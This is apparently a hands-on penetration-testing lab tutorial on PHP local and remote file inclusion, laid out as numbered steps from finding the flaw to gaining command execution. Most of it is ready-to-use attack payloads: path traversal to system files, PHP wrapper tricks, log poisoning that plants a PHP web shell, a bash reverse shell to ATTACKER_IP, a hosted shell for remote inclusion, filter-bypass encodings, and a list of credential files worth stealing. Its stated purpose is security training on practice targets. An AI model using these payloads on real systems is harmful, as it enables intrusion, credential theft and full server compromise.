๐ฏ Lab Objectives
- Identify file inclusion vulnerabilities in PHP applications
- Use path traversal to read sensitive server files
- Use PHP wrappers to read source code and encode files
- Escalate LFI to RCE via log file poisoning
- Exploit Remote File Inclusion to execute hosted malicious code
Step 1 โ LFI vs RFI
File inclusion happens when PHP uses user input in include() or require() without proper validation.
# Vulnerable PHP code:
$page = $_GET['page'];
include($page . ".php");
# LFI โ Local File Inclusion
# Read files that already exist on the server
http://target.com/index.php?page=../../../etc/passwd
# RFI โ Remote File Inclusion
# Include a file hosted on YOUR server (executes it)
http://target.com/index.php?page=http://ATTACKER_IP/shell.php
# RFI requires: allow_url_include = On in php.ini (less common)
# LFI is far more common and still very dangerous
Step 2 โ Basic LFI
# Test with /etc/passwd (always exists on Linux)
http://target.com/index.php?page=/etc/passwd
http://target.com/index.php?file=/etc/passwd
http://target.com/index.php?include=/etc/passwd
# Common parameter names to test:
?page= ?file= ?doc= ?template=
?path= ?lang= ?view= ?read=
# If successful, you'll see /etc/passwd content:
# root:x:0:0:root:/root:/bin/bash
# daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
Step 3 โ Path Traversal
# If the app prepends a path, use ../ to escape
# include("/var/www/pages/" . $page . ".php")
# inject: ../../../../etc/passwd%00 (null byte strips .php)
http://target.com/?page=../../../../etc/passwd
# Count how many ../ you need based on web root depth
# /var/www/html/ โ 3 levels deep โ need ../../.. to reach /
# Always try increasing amounts:
../etc/passwd
../../etc/passwd
../../../etc/passwd
../../../../etc/passwd
../../../../../etc/passwd
Step 4 โ PHP Wrappers
# php://filter โ read PHP source without execution
http://target.com/?page=php://filter/convert.base64-encode/resource=index.php
# Decode the base64 output:
echo 'BASE64_OUTPUT' | base64 -d
# Read any file as base64
php://filter/convert.base64-encode/resource=/etc/passwd
# php://input โ read POST body (useful for RCE)
# curl -d '<?php system("id"); ?>' "http://target.com/?page=php://input"
# data:// wrapper (execute inline code)
http://target.com/?page=data://text/plain,<?php+system('id');?>
# expect:// wrapper (direct command execution โ rarely enabled)
http://target.com/?page=expect://id
Step 5 โ Log Poisoning โ RCE
If you can include the web server's access log, you can poison it by injecting PHP code into the User-Agent header.
# Step 1: Verify you can read the log file
http://target.com/?page=../../../../var/log/apache2/access.log
http://target.com/?page=../../../../var/log/nginx/access.log
# Step 2: Poison the log โ inject PHP into User-Agent
curl -A "<?php system(\$_GET['cmd']); ?>" http://target.com/
# Step 3: Execute commands via the poisoned log
http://target.com/?page=../../../../var/log/apache2/access.log&cmd=whoami
http://target.com/?page=../../../../var/log/apache2/access.log&cmd=id
# Get a reverse shell
# URL-encode the command:
http://target.com/?page=../../../../var/log/apache2/access.log&cmd=bash+-c+'bash+-i+>%26+/dev/tcp/ATTACKER_IP/4444+0>%261'
# Other log files to try:
/var/log/apache2/access.log
/var/log/nginx/access.log
/var/log/sshd.log โ poison via SSH username
/var/mail/www-data โ mail logs
/proc/self/environ โ environment variables
Step 6 โ RFI Attack
# Check if RFI is possible (php.ini must have allow_url_include=On)
http://target.com/?page=http://ATTACKER_IP/test.txt
# If it works, host a PHP reverse shell on your machine
# Create shell.php:
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
# Serve it:
cd /tmp && python3 -m http.server 8080
# Include your shell via RFI:
http://target.com/?page=http://ATTACKER_IP:8080/shell.php&cmd=whoami
Step 7 โ LFI Wordlists & Automation
# Use ffuf to fuzz for accessible files
ffuf -u "http://target.com/?page=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-fs 0
# LFISuite (automated LFI exploitation)
git clone https://github.com/D35m0nd142/LFISuite
python LFISuite.py
Step 8 โ Filter Bypasses
# If "../" is stripped, use:
....//....//....//etc/passwd # double dot-slash
..%2F..%2F..%2Fetc%2Fpasswd # URL encoded
..%252F..%252Fetc%252Fpasswd # double URL encoded
%2e%2e%2f%2e%2e%2fetc%2fpasswd # full URL encoding
# If .php is appended โ null byte (PHP < 5.3.4)
?page=../../../etc/passwd%00
# If path is checked against a prefix
# include must start with /var/www/pages/
?page=/var/www/pages/../../../etc/passwd
๐ High-Value LFI Targets
| File | Contains |
|---|---|
/etc/passwd | Usernames and home directories |
/etc/shadow | Password hashes (root required) |
/etc/ssh/sshd_config | SSH server configuration |
~/.ssh/id_rsa | SSH private key |
/var/log/apache2/access.log | Web logs (poisoning target) |
/proc/self/environ | Process environment variables |
/var/www/html/config.php | Database credentials |
/etc/hosts | Internal hostnames |
/proc/net/tcp | Open network connections |
Lab Complete! Log poisoning turns a read-only LFI into full RCE. Practice on DVWA (File Inclusion module) and TryHackMe LFI rooms.